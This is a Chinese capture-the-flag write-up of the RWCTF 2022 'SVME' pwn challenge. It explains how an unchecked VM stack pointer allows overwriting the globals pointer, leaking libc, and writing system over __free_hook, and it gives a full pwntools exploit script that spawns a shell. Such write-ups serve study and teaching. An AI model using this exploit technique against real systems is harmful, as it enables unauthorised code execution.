ICode9

精准搜索请尝试: 精确搜索
首页 > 其他分享> 文章详细

2022 RWCTF PWN SVME

2022-01-23 22:32:41  阅读:297  来源: 互联网

标签:SVME code libc global vm p32 2022 PWN stack


前言:RWCTF上的一道被打烂了的clone-and-pwn,一开始没搞懂clone是啥子意思,后来队里师傅扔出来一个github链接,才明白原来是直接从github上拉下来的项目,还真是real word

github项目地址:https://github.com/parrt/simple-virtual-machine-C/blob/master/src/vm.c
既然是clone就意味着有源码,有了源码对于做VM题来说就大大降低了我们的逆向难度。

逆向分析

说实话其实main.c在docker文件夹里似乎也给了,懒得打开了,还是扔进ida里面看一下:
在这里插入图片描述
可以看到我们确实没有必要打开main.c了,loader很简单,输入512字节的code,然后连续调用
vm_create,vm_exec,vm_free
而这三个函数在源码中都能找到具体实现,所以下面我们来分析一下源码(感觉应该叫正向分析了hhhhh)

VM *vm_create(int *code, int code_size, int nglobals)
{
    VM *vm = calloc(1, sizeof(VM));
    vm_init(vm, code, code_size, nglobals);
    return vm;
}

给一个vm结构体分配空间,然后调用vm_init

void vm_init(VM *vm, int *code, int code_size, int nglobals)
{
    vm->code = code;
    vm->code_size = code_size;
    vm->globals = calloc(nglobals, sizeof(int));
    vm->nglobals = nglobals;
}

设置一些属性的值,然后给globals分配空间

然后是vm_exec,这个函数包括了一些基础操作,问题在于没有任何对sp指针的检测,也就是说在stack为空的时候仍然可以使用pop操作调整sp指针,这就意味着可以读写stack以外的数据
其指令格式为 opcode / opcode + 操作数,数据类型都是int

每个函数调用栈里都是一个返回地址加上一段空间用来装全局变量,执行RET的时候会把返回地址给ip,callsp减一

漏洞分析

漏洞在于没有对VM的stack有任何检测,所以sp指针可以从vm stack中跑出来,但是vm这个结构又是申请在堆上的空间,无法直接让跑到栈上,那么接下来要如何做呢?
我们主要来关心这四个操作:
在这里插入图片描述
同时配合这个结构来观察:
在这里插入图片描述
可以看到,vm中有两个指针,一个指向code,一个指向global,global是申请再堆上的一块空间,用来装全局变量,code则是指向栈上我们输入的code
可以看到,在进行STORE的时候,如果offset值为负,则可以修改code指针和globals指针,而进行GSTORE和GLOAD的时候,都是通过global指针来确定global的位置的,此时如果global改成code指针,就可以利用GSTORE和GLOAD进行栈上的任意地址读,这里的读指的是将数据放进VM stack中,不是打印出来。

我们放进gdb中调一下:
在这里插入图片描述
其中0x2101大小的堆存放的是VM这个结构体,0x21是global,0x411存放的是打印的帮助信息
看一下VM结构体里的内容:
在这里插入图片描述
可以看到一次是code指针,code_size,global指针,以及global大小,这里由于loade里设置的global的大小是0,所以第四个qword的值为0,此时sp指针指向红色箭头的位置。

因为sp初值是-1,且stack的单位是int所以要先pop一下,让sp等于-2,然后利用LOAD将code指针写到vm stack里

# 
code = p32(POP) #sp=sp-1

code+=p32(LOAD)+p32(-997&0xffffffff)
code+=p32(LOAD)+p32(-996&0xffffffff)

接下来通过STORE,覆写global指针为code指针。

# change global ptr
code += p32(STORE) + p32(-992&0xffffffff)
code += p32(STORE) + p32(-993&0xffffffff)

# store balance
code+=p32(PUSH)+p32(0)
code+=p32(PUSH)+p32(0)

然后利用PUSH平衡了一下栈帧,到了这里,sp为0,global指针被我们修改成了code指针,指向栈段
接下来我们就可以使用GLOAD将栈上的值复制到vm stack中了,我们先来看看code附近有没有能用的libc上的地址:
在这里插入图片描述

我们以libc_start_main+243地址为例,计算一下偏移:
(0x7ffeade18d18-0x00007ffeade18b00)/4=0x86
所以有:

code += p32(GLOAD) + p32(0x87)
code += p32(GLOAD) + p32(0x86)

至于为什么要先放高位再放低位入栈,是因为还需要将这个libc地址转换为需要的system函数地址以及free_hook地址,如何转换呢,通过VM自带的add操作
在这里插入图片描述
可以看到这个add操作它还是以int为单位,所以要先放高四位,再放第四位,然后将计算好的offset入栈,利用add操作修改低四位,这样就得到了想要的函数地址了。

code += p32(PUSH) + p32(libc.sym['system']-libc.sym['__libc_start_main']-243)
code += p32(ADD)

让我们来看一下效果:
在这里插入图片描述
可以看到,确实是把system的地址算出来了,此时sp为2,接下来要把free_hook-8的低四位用几乎同样的方式写进vm stack中

code += p32(GLOAD) + p32(0x86)
code += p32(PUSH) + p32(libc.sym['__free_hook']-libc.sym['__libc_start_main']-243-8)
code += p32(ADD)

然后再次修改global指针,让他指向free_hook-8

# write global ptr ------>free_hook-8
code += p32(STORE) + p32(-993&0xffffffff)
code += p32(STORE) + p32(-990&0xffffffff)
code += p32(STORE) + p32(-992&0xffffffff)
# read the system into the vm stack
code += p32(LOAD) + p32(-992&0xffffffff)
code += p32(LOAD) + p32(-990&0xffffffff)
# write free_hook -------> system
code += p32(GSTORE) + p32(2)
code += p32(GSTORE) + p32(3)
# write /bin/sh\x00 into vm stack
code += p32(PUSH) + p32(0x6e69622f)
code += p32(PUSH) + p32(0x68732f)
# write /bin/sh\x00 on the free_hook-8
code += p32(GSTORE) + p32(1)
code += p32(GSTORE) + p32(0)

这里要注意,此时vm stack里的数据是,free_hook-8的低四位,system的低四位,libc基址的高四位,而写的时候只能按照栈内顺序来写,所以要先把system的低四位存到别的地方,修改完global指针之后再读到stack中,因为让sp++,要么自己push一个东西,要么从什么地方读入一个东西,不能像pop一样单纯修改sp

最后利用vm_free中会free掉global指针的性质,触发free_hook,getshell在这里插入图片描述
完整exp:

from pwn import *

context.log_level = "debug"
context.binary = "./pwn"

'''
typedef enum {
    NOOP    = 0,
    IADD    = 1,   // int add
    ISUB    = 2,
    IMUL    = 3,
    ILT     = 4,   // int less than
    IEQ     = 5,   // int equal
    BR      = 6,   // branch
    BRT     = 7,   // branch if true
    BRF     = 8,   // branch if true
    ICONST  = 9,   // push constant integer
    LOAD    = 10,  // load from local context
    GLOAD   = 11,  // load from global memory
    STORE   = 12,  // store in local context
    GSTORE  = 13,  // store in global memory
    PRINT   = 14,  // print stack top
    POP     = 15,  // throw away top of stack
    CALL    = 16,  // call function at address with nargs,nlocals
    RET     = 17,  // return value from function
    HALT    = 18
} VM_CODE;
'''

p = process("./pwn")
libc=ELF('./libc-2.31.so')
# opcode
GSTORE = 13 # gstore, offset
POP = 15    # pop
GLOAD = 11  # gload, offset
LOAD = 10   # load, offset
STORE = 12  # store, offset
PUSH = ICONST = 9 # push, data
ADD = IADD = 1 # add
HALT = 18
gdb.attach(p,"b* $rebase(0x137e)")


#sp=sp-1
code = p32(POP)

#read code ptr to the vm stack
code+=p32(LOAD)+p32(-997&0xffffffff)
code+=p32(LOAD)+p32(-996&0xffffffff)

# change global ptr
code += p32(STORE) + p32(-992&0xffffffff)
code += p32(STORE) + p32(-993&0xffffffff)

# store balance
code+=p32(PUSH)+p32(0)
code+=p32(PUSH)+p32(0)



# read libc address into vm stack
code += p32(GLOAD) + p32(0x87)
code += p32(GLOAD) + p32(0x86)


# calc system address
code += p32(PUSH) + p32(libc.sym['system']-libc.sym['__libc_start_main']-243)
code += p32(ADD)

# calc __free_hook_address
code += p32(GLOAD) + p32(0x86)
code += p32(PUSH) + p32(libc.sym['__free_hook']-libc.sym['__libc_start_main']-243-8)
code += p32(ADD)


# change the global ptr to free_hook-8
code += p32(STORE) + p32(-993&0xffffffff)
code += p32(STORE) + p32(-990&0xffffffff)
code += p32(STORE) + p32(-992&0xffffffff)

#read system back to the vm stack
code += p32(LOAD) + p32(-992&0xffffffff)
code += p32(LOAD) + p32(-990&0xffffffff)

#write system to the free_hook
code += p32(GSTORE) + p32(2)
code += p32(GSTORE) + p32(3)

#push /bin/sh\x00 into the vm stack
code += p32(PUSH) + p32(0x6e69622f)
code += p32(PUSH) + p32(0x68732f)

#write /bin/sh\x00 on the free_hook-8
code += p32(GSTORE) + p32(1)
code += p32(GSTORE) + p32(0)

# jump to vm_free
code += p32(HALT)

code = code.ljust(512, b"\x00")

p.send(code)

p.interactive()

标签:SVME,code,libc,global,vm,p32,2022,PWN,stack
来源: https://blog.csdn.net/weixin_46483787/article/details/122633263

本站声明: 1. iCode9 技术分享网(下文简称本站)提供的所有内容,仅供技术学习、探讨和分享;
2. 关于本站的所有留言、评论、转载及引用,纯属内容发起人的个人观点,与本站观点和立场无关;
3. 关于本站的所有言论和文字,纯属内容发起人的个人观点,与本站观点和立场无关;
4. 本站文章均是网友提供,不完全保证技术分享内容的完整性、准确性、时效性、风险性和版权归属;如您发现该文章侵犯了您的权益,可联系我们第一时间进行删除;
5. 本站为非盈利性的个人网站,所有内容不会用来进行牟利,也不会利用任何形式的广告来间接获益,纯粹是为了广大技术爱好者提供技术内容和技术思想的分享性交流网站。

专注分享技术,共同学习,共同进步。侵权联系[81616952@qq.com]

Copyright (C)ICode9.com, All Rights Reserved.

ICode9版权所有